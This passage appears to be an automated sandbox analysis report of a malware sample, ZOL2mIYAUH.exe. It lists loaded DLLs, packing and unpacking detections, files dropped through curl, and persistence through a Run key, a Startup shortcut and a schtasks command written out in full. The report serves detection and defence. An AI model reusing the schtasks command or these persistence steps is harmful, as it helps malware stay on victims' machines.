                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
                    Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: kernel.appcore.dll
                    Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: taskschd.dll
                    Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: sspicli.dll
                    Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: xmllite.dll
                    Source: C:\Users\Public\winnotify.scrSection loaded: apphelp.dll
                    Source: C:\Users\Public\winnotify.scrSection loaded: version.dll
                    Source: C:\Users\Public\winnotify.scrSection loaded: mscoree.dll
                    Source: C:\Users\Public\winnotify.scrSection loaded: shfolder.dll
                    Source: C:\Users\Public\winnotify.scrSection loaded: uxtheme.dll
                    Source: C:\Users\Public\winnotify.scrSection loaded: windows.storage.dll
                    Source: C:\Users\Public\winnotify.scrSection loaded: wldp.dll
                    Source: C:\Users\Public\winnotify.scrSection loaded: profapi.dll
                    Source: C:\Users\Public\winnotify.scrSection loaded: sspicli.dll
                    Source: C:\Users\Public\winnotify.scrSection loaded: kernel.appcore.dll
                    Source: C:\Users\Public\winnotify.scrSection loaded: vcruntime140_clr0400.dll
                    Source: C:\Users\Public\winnotify.scrSection loaded: ucrtbase_clr0400.dll
                    Source: C:\Users\Public\winnotify.scrSection loaded: ucrtbase_clr0400.dll
                    Source: C:\Users\Public\winnotify.scrSection loaded: amsi.dll
                    Source: C:\Users\Public\winnotify.scrSection loaded: userenv.dll
                    Source: C:\Users\Public\winnotify.scrSection loaded: msasn1.dll
                    Source: C:\Users\Public\winnotify.scrSection loaded: gpapi.dll
                    Source: C:\Users\Public\winnotify.scrSection loaded: cryptsp.dll
                    Source: C:\Users\Public\winnotify.scrSection loaded: rsaenh.dll
                    Source: C:\Users\Public\winnotify.scrSection loaded: cryptbase.dll
                    Source: C:\Users\Public\winnotify.scrSection loaded: version.dll
                    Source: C:\Users\Public\winnotify.scrSection loaded: mscoree.dll
                    Source: C:\Users\Public\winnotify.scrSection loaded: shfolder.dll
                    Source: C:\Users\Public\winnotify.scrSection loaded: uxtheme.dll
                    Source: C:\Users\Public\winnotify.scrSection loaded: windows.storage.dll
                    Source: C:\Users\Public\winnotify.scrSection loaded: wldp.dll
                    Source: C:\Users\Public\winnotify.scrSection loaded: profapi.dll
                    Source: C:\Users\Public\winnotify.scrSection loaded: sspicli.dll
                    Source: C:\Users\Public\winnotify.scrSection loaded: kernel.appcore.dll
                    Source: C:\Users\Public\winnotify.scrSection loaded: vcruntime140_clr0400.dll
                    Source: C:\Users\Public\winnotify.scrSection loaded: ucrtbase_clr0400.dll
                    Source: C:\Users\Public\winnotify.scrSection loaded: ucrtbase_clr0400.dll
                    Source: C:\Users\Public\winnotify.scrSection loaded: amsi.dll
                    Source: C:\Users\Public\winnotify.scrSection loaded: userenv.dll
                    Source: C:\Users\Public\winnotify.scrSection loaded: msasn1.dll
                    Source: C:\Users\Public\winnotify.scrSection loaded: gpapi.dll
                    Source: C:\Users\Public\winnotify.scrSection loaded: cryptsp.dll
                    Source: C:\Users\Public\winnotify.scrSection loaded: rsaenh.dll
                    Source: C:\Users\Public\winnotify.scrSection loaded: cryptbase.dll
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32Jump to behavior
                    Source: winnotify.lnk.24.drLNK file: ..\..\..\..\..\..\..\..\Public\winnotify.scr
                    Source: Window RecorderWindow detected: More than 3 window changes detected
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
                    Source: ZOL2mIYAUH.exeStatic file information: File size 1144320 > 1048576
                    Source: Binary string: srtware.pdb source: ZOL2mIYAUH.exe, ZOL2mIYAUH.exe, 00000000.00000002.3688530749.00000000001C2000.00000040.00000001.01000000.00000003.sdmp

                    Data Obfuscation

                    barindex
                    Detected unpacking (changes PE section rights)
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeUnpacked PE file: 0.2.ZOL2mIYAUH.exe.1c0000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;.rsrc:EW;Unknown_Section4:EW;.d5scxa2:EW; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:R;.rsrc:ER;Unknown_Section4:ER;.d5scxa2:ER;
                    Source: C:\Users\gbcd\fff.scrUnpacked PE file: 23.2.fff.scr.a50000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;.rsrc:EW;Unknown_Section4:EW;.d5dcvew:EW; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:R;.rsrc:ER;Unknown_Section4:ER;.d5dcvew:ER;
                    Source: C:\Users\gbcd\qqq.scrUnpacked PE file: 24.2.qqq.scr.4c0000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;.rsrc:EW;Unknown_Section4:EW;.stovfcw:EW; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:R;.rsrc:ER;Unknown_Section4:ER;.stovfcw:ER;
                    Source: C:\Users\Public\winnotify.scrUnpacked PE file: 37.2.winnotify.scr.450000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;.rsrc:EW;Unknown_Section4:EW;.stovfcw:EW; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:R;.rsrc:ER;Unknown_Section4:ER;.stovfcw:ER;
                    Detected unpacking (overwrites its own PE header)
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeUnpacked PE file: 0.2.ZOL2mIYAUH.exe.1c0000.0.unpack
                    Source: C:\Users\gbcd\fff.scrUnpacked PE file: 23.2.fff.scr.a50000.0.unpack
                    Source: C:\Users\Public\winnotify.scrUnpacked PE file: 37.2.winnotify.scr.450000.0.unpack
                    Source: ZOL2mIYAUH.exeStatic PE information: 0xF0336014 [Fri Sep 13 08:19:32 2097 UTC]
                    Source: ZOL2mIYAUH.exeStatic PE information: section name:
                    Source: ZOL2mIYAUH.exeStatic PE information: section name:
                    Source: ZOL2mIYAUH.exeStatic PE information: section name:
                    Source: ZOL2mIYAUH.exeStatic PE information: section name:
                    Source: ZOL2mIYAUH.exeStatic PE information: section name: .d5scxa2
                    Source: fff.scr.14.drStatic PE information: section name:
                    Source: fff.scr.14.drStatic PE information: section name:
                    Source: fff.scr.14.drStatic PE information: section name:
                    Source: fff.scr.14.drStatic PE information: section name:
                    Source: fff.scr.14.drStatic PE information: section name: .d5dcvew
                    Source: qqq.scr.16.drStatic PE information: section name:
                    Source: qqq.scr.16.drStatic PE information: section name:
                    Source: qqq.scr.16.drStatic PE information: section name:
                    Source: qqq.scr.16.drStatic PE information: section name:
                    Source: qqq.scr.16.drStatic PE information: section name: .stovfcw
                    Source: ddd.scr.19.drStatic PE information: section name: .00cfg
                    Source: srtware.exe.21.drStatic PE information: section name: _RDATA
                    Source: winnotify.scr.24.drStatic PE information: section name:
                    Source: winnotify.scr.24.drStatic PE information: section name:
                    Source: winnotify.scr.24.drStatic PE information: section name:
                    Source: winnotify.scr.24.drStatic PE information: section name:
                    Source: winnotify.scr.24.drStatic PE information: section name: .stovfcw
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_003507A4 push ecx; mov dword ptr [esp], ecx0_2_003507A5
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_00204104 push ecx; mov dword ptr [esp], edx0_2_00204109
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_0020432C push ecx; mov dword ptr [esp], edx0_2_00204331
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_002013A0 push 00201400h; ret 0_2_002013F8
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_001F03EA push 001F0418h; ret 0_2_001F0410
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_001F0424 push 001F0450h; ret 0_2_001F0448
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_001F045C push 001F0488h; ret 0_2_001F0480
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_00204448 push ecx; mov dword ptr [esp], edx0_2_0020444D
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_00202454 push 002024A1h; ret 0_2_00202499
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_00201456 push 002015A4h; ret 0_2_0020159C
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_001F0494 push 001F04C0h; ret 0_2_001F04B8
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_0020448C push ecx; mov dword ptr [esp], edx0_2_00204491
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_001F04F8 push 001F052Ch; ret 0_2_001F0524
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_00200536 push 002005B5h; ret 0_2_002005AD
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_001F855C push 001F86D8h; ret 0_2_001F86D0
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_001EE5F0 push 001EE641h; ret 0_2_001EE639
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_001FF62C push 001FF6A2h; ret 0_2_001FF69A
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_00201684 push ecx; mov dword ptr [esp], ecx0_2_00201687
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_001FF6A4 push 001FF74Ch; ret 0_2_001FF744
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_001F86DA push 001F874Bh; ret 0_2_001F8743
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_001F0738 push 001F085Ch; ret 0_2_001F0854
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_001FF74E push 001FF79Ch; ret 0_2_001FF794
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_00200804 push 00200830h; ret 0_2_00200828
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_001F885E push 001F888Ch; ret 0_2_001F8884
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_001EE8AA push 001EE8D8h; ret 0_2_001EE8D0
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_002018F4 push ecx; mov dword ptr [esp], ecx0_2_002018F6
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_001EE968 push 001EE994h; ret 0_2_001EE98C
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_001EFA48 push ecx; mov dword ptr [esp], eax0_2_001EFA49
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_001EFCF2 push 001EFD20h; ret 0_2_001EFD18
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_001EFD2C push 001EFD58h; ret 0_2_001EFD50
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeCode function: 0_2_001F7D60 push ecx; mov dword ptr [esp], edx0_2_001F7D65
                    Source: ZOL2mIYAUH.exeStatic PE information: section name: entropy: 7.994421110466154
                    Source: ZOL2mIYAUH.exeStatic PE information: section name: .d5scxa2 entropy: 7.981383442410946
                    Source: fff.scr.14.drStatic PE information: section name: entropy: 7.998403010941839
                    Source: fff.scr.14.drStatic PE information: section name: .d5dcvew entropy: 7.9897294929740825
                    Source: qqq.scr.16.drStatic PE information: section name: entropy: 7.998320875900243
                    Source: qqq.scr.16.drStatic PE information: section name: .stovfcw entropy: 7.980115132528779
                    Source: winnotify.scr.24.drStatic PE information: section name: entropy: 7.998320875900243
                    Source: winnotify.scr.24.drStatic PE information: section name: .stovfcw entropy: 7.980115132528779

                    Persistence and Installation Behavior

                    barindex
                    Drops PE files with a suspicious file extension
                    Source: C:\Users\gbcd\qqq.scrFile created: C:\Users\Public\winnotify.scrJump to dropped file
                    Source: C:\Windows\SysWOW64\curl.exeFile created: C:\Users\gbcd\qqq.scrJump to dropped file
                    Source: C:\Windows\SysWOW64\curl.exeFile created: C:\Users\gbcd\fff.scrJump to dropped file
                    Source: C:\Windows\SysWOW64\curl.exeFile created: C:\Users\gbcd\ddd.scrJump to dropped file
                    Source: C:\Users\gbcd\qqq.scrFile created: C:\Users\Public\winnotify.scrJump to dropped file
                    Source: C:\Windows\SysWOW64\curl.exeFile created: C:\Users\gbcd\qqq.scrJump to dropped file
                    Source: C:\Windows\SysWOW64\curl.exeFile created: C:\Users\gbcd\fff.scrJump to dropped file
                    Source: C:\Windows\SysWOW64\curl.exeFile created: C:\Users\gbcd\srtware.exeJump to dropped file
                    Source: C:\Windows\SysWOW64\curl.exeFile created: C:\Users\gbcd\ddd.scrJump to dropped file
                    Source: C:\Users\gbcd\qqq.scrFile created: C:\Users\Public\winnotify.scrJump to dropped file
                    Source: C:\Windows\SysWOW64\curl.exeFile created: C:\Users\gbcd\qqq.scrJump to dropped file
                    Source: C:\Windows\SysWOW64\curl.exeFile created: C:\Users\gbcd\fff.scrJump to dropped file
                    Source: C:\Windows\SysWOW64\curl.exeFile created: C:\Users\gbcd\srtware.exeJump to dropped file
                    Source: C:\Windows\SysWOW64\curl.exeFile created: C:\Users\gbcd\ddd.scrJump to dropped file

                    Boot Survival

                    barindex
                    Creates autostart registry keys with suspicious values (likely registry only malware)
                    Source: C:\Users\gbcd\qqq.scrRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run winnotify C:\Users\Public\winnotify.scrJump to behavior
                    Drops PE files to the user root directory
                    Source: C:\Users\gbcd\qqq.scrFile created: C:\Users\Public\winnotify.scrJump to dropped file
                    Source: C:\Windows\SysWOW64\curl.exeFile created: C:\Users\gbcd\qqq.scrJump to dropped file
                    Source: C:\Windows\SysWOW64\curl.exeFile created: C:\Users\gbcd\fff.scrJump to dropped file
                    Source: C:\Windows\SysWOW64\curl.exeFile created: C:\Users\gbcd\srtware.exeJump to dropped file
                    Source: C:\Windows\SysWOW64\curl.exeFile created: C:\Users\gbcd\ddd.scrJump to dropped file
                    Uses schtasks.exe or at.exe to add and modify task schedules
                    Source: C:\Users\gbcd\qqq.scrProcess created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "winnotify" /tr "C:\Users\Public\winnotify.scr"
                    Source: C:\Users\gbcd\qqq.scrFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winnotify.lnkJump to behavior
                    Source: C:\Users\gbcd\qqq.scrFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winnotify.lnkJump to behavior
                    Source: C:\Users\gbcd\qqq.scrRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run winnotifyJump to behavior
                    Source: C:\Users\gbcd\qqq.scrRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run winnotifyJump to behavior

                    Hooking and other Techniques for Hiding and Protection

                    barindex
                    Loading BitLocker PowerShell Module
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
